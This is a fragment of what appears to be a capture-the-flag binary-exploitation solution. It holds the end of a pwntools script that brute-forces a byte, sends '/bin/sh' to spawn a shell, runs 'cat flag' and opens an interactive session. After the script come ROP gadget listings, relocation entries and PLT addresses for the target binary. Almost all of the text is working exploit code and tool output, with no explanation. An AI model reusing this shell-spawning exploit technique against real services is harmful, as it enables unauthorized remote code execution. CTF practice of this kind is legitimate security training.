p.send(chr(i)) print(chr(i)) p.send("/bin/sh".ljust(59, "\x00")) p.sendline("echo lucky") p.sendline("echo lucky") p.sendline("cat flag") if b'lucky' not in p.recv(5, timeout=5): raise Exception p.interactive() except EOFError: p.close() if __name__ == '__main__': for i in range(255): exp(i)
0x00000000004007bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007be : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007c0 : pop r14 ; pop r15 ; ret 0x00000000004007c2 : pop r15 ; ret 0x00000000004007bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007bf : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400620 : pop rbp ; ret 0x00000000004007c3 : pop rdi ; ret 0x00000000004007c1 : pop rsi ; pop r15 ; ret 0x00000000004007bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400549 : ret 0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__ 0000000000601060 R_X86_64_COPY stdout@@GLIBC_2.2.5 0000000000601070 R_X86_64_COPY stdin@@GLIBC_2.2.5 0000000000601080 R_X86_64_COPY stderr@@GLIBC_2.2.5 0000000000601018 R_X86_64_JUMP_SLOT alarm@GLIBC_2.2.5 0000000000601020 R_X86_64_JUMP_SLOT read@GLIBC_2.2.5 0000000000601028 R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5 0000000000601030 R_X86_64_JUMP_SLOT setvbuf@GLIBC_2.2.5 0000000000601038 R_X86_64_JUMP_SLOT sleep@GLIBC_2.2.5 0x400560: alarm@plt 0x400570: read@plt 0x400580: __libc_start_main@plt 0x400590: setvbuf@plt 0x4005a0: sleep@plt